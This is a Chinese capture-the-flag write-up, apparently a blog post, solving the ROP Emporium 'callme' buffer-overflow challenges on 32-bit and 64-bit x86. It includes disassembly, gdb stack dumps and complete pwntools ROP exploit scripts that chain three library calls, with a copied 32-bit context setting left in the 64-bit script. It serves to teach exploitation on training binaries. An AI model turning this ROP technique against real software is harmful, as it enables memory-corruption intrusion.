1. callme32
信息收集
这个题提供了以下文件:
- callme32可执行程序
- libcallme32.so动态库
- key1.dat,key2.dat
- encrypted_flag.dat
不知道callme32格式那里不对,checksec会报错NameError: name 'dt_rpath' is not defined。一会黑盒测试如果崩溃了就说明有canary,而pie可以从入口点判断:
后来调试了一下,checksec问题出在pwnlib/elf/elf.py,变量改成dt_runpath就行了。Github上这个bug已经纠正。
$ readelf -h callme32
ELF Header:
...
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048570
入口点是这种虚拟地址,应该就没有开启PIE。
盲猜callme32会调用libcallme32.so加载两个key来解密flag:
$ ldd callme32
linux-gate.so.1 (0xf7f17000)
libcallme32.so => ./libcallme32.so (0xf7f0f000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d1c000)
/lib/ld-linux.so.2 (0xf7f18000)
$ strings -t x libcallme32.so | grep key
a87 key1.dat
a90 Failed to open key1.dat
ac6 key2.dat
acf Failed to open key2.dat
黑盒测试
$ ./callme32 < cyclic.txt
callme by ROP Emporium
x86
Hope you read the instructions...
> Thank you!
Segmentation fault (core dumped)
$ gdb callme32 ./callme32.core.7950
...
Core was generated by `./callme32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x6161616c in ?? ()
> cyclic -l 0x6161616c
44
返回地址位于缓冲区偏移44字节处。
反汇编
$ objdump -d -M intel callme32
080484e0 <callme_three@plt>:
080484f0 <callme_one@plt>:
08048550 <callme_two@plt>:
08048686 <main>:
8048686: 8d 4c 24 04 lea ecx,[esp+0x4]
804868a: 83 e4 f0 and esp,0xfffffff0
...
80486cb: e8 1d 00 00 00 call 80486ed <pwnme>
80486d0: 83 ec 0c sub esp,0xc
...
80486e8: c9 leave
80486e9: 8d 61 fc lea esp,[ecx-0x4]
80486ec: c3 ret
080486ed <pwnme>:
80486ed: 55 push ebp
80486ee: 89 e5 mov ebp,esp
80486f0: 83 ec 28 sub esp,0x28
80486f3: 83 ec 04 sub esp,0x4
80486f6: 6a 20 push 0x20
80486f8: 6a 00 push 0x0
80486fa: 8d 45 d8 lea eax,[ebp-0x28]
80486fd: 50 push eax
80486fe: e8 3d fe ff ff call 8048540 <memset@plt>
...
804872e: 8d 45 d8 lea eax,[ebp-0x28]
8048731: 50 push eax
8048732: 6a 00 push 0x0
8048734: e8 87 fd ff ff call 80484c0 <read@plt>
...
804874d: c9 leave
804874e: c3 ret
0804874f <usefulFunction>:
804874f: 55 push ebp
8048750: 89 e5 mov ebp,esp
8048752: 83 ec 08 sub esp,0x8
8048755: 83 ec 04 sub esp,0x4
8048758: 6a 06 push 0x6
804875a: 6a 05 push 0x5
804875c: 6a 04 push 0x4
804875e: e8 7d fd ff ff call 80484e0 <callme_three@plt>
8048763: 83 c4 10 add esp,0x10
8048766: 83 ec 04 sub esp,0x4
8048769: 6a 06 push 0x6
804876b: 6a 05 push 0x5
804876d: 6a 04 push 0x4
804876f: e8 dc fd ff ff call 8048550 <callme_two@plt>
8048774: 83 c4 10 add esp,0x10
8048777: 83 ec 04 sub esp,0x4
804877a: 6a 06 push 0x6
804877c: 6a 05 push 0x5
804877e: 6a 04 push 0x4
8048780: e8 6b fd ff ff call 80484f0 <callme_one@plt>
8048785: 83 c4 10 add esp,0x10
8048788: 83 ec 0c sub esp,0xc
804878b: 6a 01 push 0x1
804878d: e8 7e fd ff ff call 8048510 <exit@plt>
callme32逻辑:main调用pwnme,而pwnme有缓冲区溢出,可以将返回地址覆盖为usefulFunction解密flag。
libcallme32.so用IDA看下:
int __cdecl callme_one(int a1, int a2, int a3)
{
FILE *stream; // [esp+Ch] [ebp-Ch]
if ( a1 != 0xDEADBEEF || a2 != 0xCAFEBABE || a3 != 0xD00DF00D )
{
puts("Incorrect parameters");
exit(1);
}
// ...
g_buf = (int)malloc(0x21u);
// ...
g_buf = (int)fgets((char *)g_buf, 33, stream);
fclose(stream);
return puts("callme_one() called correctly");
}
int __cdecl callme_two(int a1, int a2, int a3)
{
int i; // [esp+8h] [ebp-10h]
FILE *stream; // [esp+Ch] [ebp-Ch]
if ( a1 != 0xDEADBEEF || a2 != 0xCAFEBABE || a3 != 0xD00DF00D )
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("key1.dat", "r");
// ...
for ( i = 0; i <= 15; ++i )
*(_BYTE *)(g_buf + i) ^= fgetc(stream);
return puts("callme_two() called correctly");
}
void __cdecl __noreturn callme_three(int a1, int a2, int a3)
{
int i; // [esp+8h] [ebp-10h]
FILE *stream; // [esp+Ch] [ebp-Ch]
if ( a1 == 0xDEADBEEF && a2 == 0xCAFEBABE && a3 == 0xD00DF00D )
{
stream = fopen("key2.dat", "r");
if ( !stream )
{
puts("Failed to open key2.dat");
exit(1);
}
for ( i = 16; i <= 31; ++i )
*(_BYTE *)(g_buf + i) ^= fgetc(stream);
*(_DWORD *)(g_buf + 4) ^= 0xDEADBEEF;
*(_DWORD *)(g_buf + 8) ^= 0xDEADBEEF;
*(_DWORD *)(g_buf + 12) ^= 0xCAFEBABE;
*(_DWORD *)(g_buf + 16) ^= 0xCAFEBABE;
*(_DWORD *)(g_buf + 20) ^= 0xD00DF00D;
*(_DWORD *)(g_buf + 24) ^= 0xD00DF00D;
puts((const char *)g_buf);
exit(0);
}
puts("Incorrect parameters");
exit(1);
}
so逻辑:
- callme_one读取加密的flag;
- callme_two解密前15字节;
- callme_three解密16-31字节;
看下加密的flag文件,确实是32字节:
$ xxd encrypted_flag.dat
00000000: 534d 5341 91d9 f5a6 8ad5 c5b7 dbdb 9dbe SMSA............
00000010: cada b2ed 2a84 63bc 71b5 70a0 7c79 3e5d ....*.c.q.p.|y>]
那么,就不能简单地将pwnme返回地址覆盖为usefulFunction了,因为usefulFunction的调用顺序以及参数(4,5,6)并不能成功解密flag。正确解法是通过3次返回来依次调用callme_one/two/three(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)。
调试分析
先用下面的payload将pwnme返回地址覆盖为callme_one@plt调试一下:
pCallmeOne = 0x080484f0;
pArg0 = 0xDEADBEEF;
pArg1 = 0xCAFEBABE;
pArg2 = 0xD00DF00D;
payload = bytes("A" * 44, encoding = "ascii")
payload += p32(pCallmeOne)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)
成功进入了callme32_one,但是堆栈没有平衡:
► 0xf7f8364f <callme_one+18> cmp dword ptr [ebp + 8], 0xdeadbeef
pwndbg> x /20x $ebp
0xffb23e3c: 0x41414141 0xdeadbeef 0xcafebabe 0xd00df00d
草率了,漏了个callme_two作为返回地址,加上试试:
payload = bytes("A" * 44, encoding = "ascii")
payload += p32(pCallmeOne) # return to callme_one
payload += p32(pCallmeTwo)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)
成功进入callme_two,但参数还没变:
► 0xf7f51768 <callme_two+19> cmp dword ptr [ebp + 8], 0xdeadbeef
0xf7f5176f <callme_two+26> jne callme_two+220 <callme_two+220>
↓
0xf7f51831 <callme_two+220> sub esp, 0xc
0xf7f51834 <callme_two+223> lea eax, [ebx - 0x158e]
0xf7f5183a <callme_two+229> push eax
0xf7f5183b <callme_two+230> call puts@plt <puts@plt>
────────────[ STACK ]───────────────
00:0000│ esp 0xffa89fd8 ◂— 0x41414141 ('AAAA')
01:0004│ 0xffa89fdc —▸ 0xf7f6ede0 (_dl_runtime_resolve+16) ◂— pop edx
02:0008│ 0xffa89fe0 —▸ 0xf7f37890 (_IO_stdfile_1_lock) ◂— 0x0
03:000c│ 0xffa89fe4 —▸ 0xf7f51755 (callme_two) ◂— push ebp
04:0010│ 0xffa89fe8 ◂— 0x0
05:0014│ 0xffa89fec —▸ 0xf7f36000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
06:0018│ ebp 0xffa89ff0 ◂— 0x41414141 ('AAAA')
07:001c│ 0xffa89ff4 ◂— 0xdeadbeef
解决方法:第二个返回地址,不能是callme_two,应该是一段gadget,如add esp, 0xc; ret, 消去callme_one的3个参数,然后才是callme_two,重新跟3个参数。
搜搜:
pwndbg> rop --grep "add esp"
...
0x080484aa : add esp, 8 ; pop ebx ; ret
GET!
Exp
from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio("./callme32")
pCallmeOne = 0x080484f0;
pCallmeTwo = 0x08048550;
pCallmeThree = 0x080484e0;
pArg0 = 0xDEADBEEF;
pArg1 = 0xCAFEBABE;
pArg2 = 0xD00DF00D;
pGadget = 0x080484aa # add esp, 8 ; pop ebx ; ret
payload = bytes("A" * 44, encoding = "ascii")
payload += p32(pCallmeOne) # return to callme_one
payload += p32(pGadget)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)
payload += p32(pCallmeTwo)
payload += p32(pGadget)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)
payload += p32(pCallmeThree)
payload += p32(pGadget)
payload += p32(pArg0)
payload += p32(pArg1)
payload += p32(pArg2)
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()
# callme_one() called correctly
# callme_two() called correctly
# ROPE{a_placeholder_32byte_flag!}
2. callme
确认一下溢出点偏移,以及三个导出函数的plt地址:
$ objdump -d -M intel callme | grep callme
callme: file format elf64-x86-64
00000000004006f0 <callme_three@plt>:
4006f0: ff 25 32 09 20 00 jmp QWORD PTR [rip+0x200932] # 601028 <callme_three>
0000000000400720 <callme_one@plt>:
400720: ff 25 1a 09 20 00 jmp QWORD PTR [rip+0x20091a] # 601040 <callme_one>
0000000000400740 <callme_two@plt>:
400740: ff 25 0a 09 20 00 jmp QWORD PTR [rip+0x20090a] # 601050 <callme_two>
...
$ objdump -d -M intel callme | grep -A 20 pwnme
0000000000400898 <pwnme>:
400898: 55 push rbp
400899: 48 89 e5 mov rbp,rsp
40089c: 48 83 ec 20 sub rsp,0x20
4008a0: 48 8d 45 e0 lea rax,[rbp-0x20]
4008a4: ba 20 00 00 00 mov edx,0x20
4008a9: be 00 00 00 00 mov esi,0x0
4008ae: 48 89 c7 mov rdi,rax
4008b1: e8 4a fe ff ff call 400700 <memset@plt>
...
4008cf: 48 8d 45 e0 lea rax,[rbp-0x20]
4008d3: ba 00 02 00 00 mov edx,0x200
4008d8: 48 89 c6 mov rsi,rax
4008db: bf 00 00 00 00 mov edi,0x0
4008e0: e8 2b fe ff ff call 400710 <read@plt>
溢出点偏移(rdp+0x8) - (rbp-0x20) == 0x28。
so函数的参数也变了:
.text:000000000000082E mov rax, 0DEADBEEFDEADBEEFh
.text:0000000000000838 cmp [rbp+var_18], rax
.text:000000000000083C jnz loc_912
.text:0000000000000842 mov rax, 0CAFEBABECAFEBABEh
.text:000000000000084C cmp [rbp+var_20], rax
.text:0000000000000850 jnz loc_912
.text:0000000000000856 mov rax, 0D00DF00DD00DF00Dh
64位程序传参使用rdi, rsi, rdx, rcx, r8, r9,所以需要把平衡堆栈的gadget换一下:
pwndbg> rop --grep "pop rdi ; pop rsi ; pop rdx ; ret"
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
吐槽一下这个正则匹配没有忽略分号前后的空格。
最后,payload的构造也要变一下,先执行gadget把参数pop给寄存器,再执行callme_one/two/three:
from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio("./callme")
nBufOverflowOffset = 0x28
pCallmeOne = 0x0000000000400720;
pCallmeTwo = 0x0000000000400740;
pCallmeThree = 0x00000000004006f0;
pArg0 = 0x0DEADBEEFDEADBEEF;
pArg1 = 0x0CAFEBABECAFEBABE;
pArg2 = 0x0D00DF00DD00DF00D;
pGadget = 0x000000000040093c # pop rdi ; pop rsi ; pop rdx ; ret
payload = bytes("A" * nBufOverflowOffset, encoding = "ascii")
payload += p64(pGadget)
payload += p64(pArg0)
payload += p64(pArg1)
payload += p64(pArg2)
payload += p64(pCallmeOne) # return to callme_one
payload += p64(pGadget)
payload += p64(pArg0)
payload += p64(pArg1)
payload += p64(pArg2)
payload += p64(pCallmeTwo)
payload += p64(pGadget)
payload += p64(pArg0)
payload += p64(pArg1)
payload += p64(pArg2)
payload += p64(pCallmeThree)
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()
# callme_one() called correctly
# callme_two() called correctly
# ROPE{a_placeholder_32byte_flag!}
如果晕了,可以对比下32位和64位的usefulFunction。

该博客详细介绍了如何利用返回导向编程(ROP)技术来解决两个不同的程序挑战。一个是32位程序callme32,通过分析其动态链接库和内存布局,发现需要通过精心构造的payload依次调用特定函数来解密flag。另一个是64位程序callme,需要调整溢出点偏移,并改变参数传递方式以平衡堆栈。在64位程序中,使用了poprdi;poprsi;poprdx;ret的gadget来设置参数并调用函数。最终,通过调试和反汇编,博主成功构造了payload并解密了flag。
621

被折叠的 条评论
为什么被折叠?



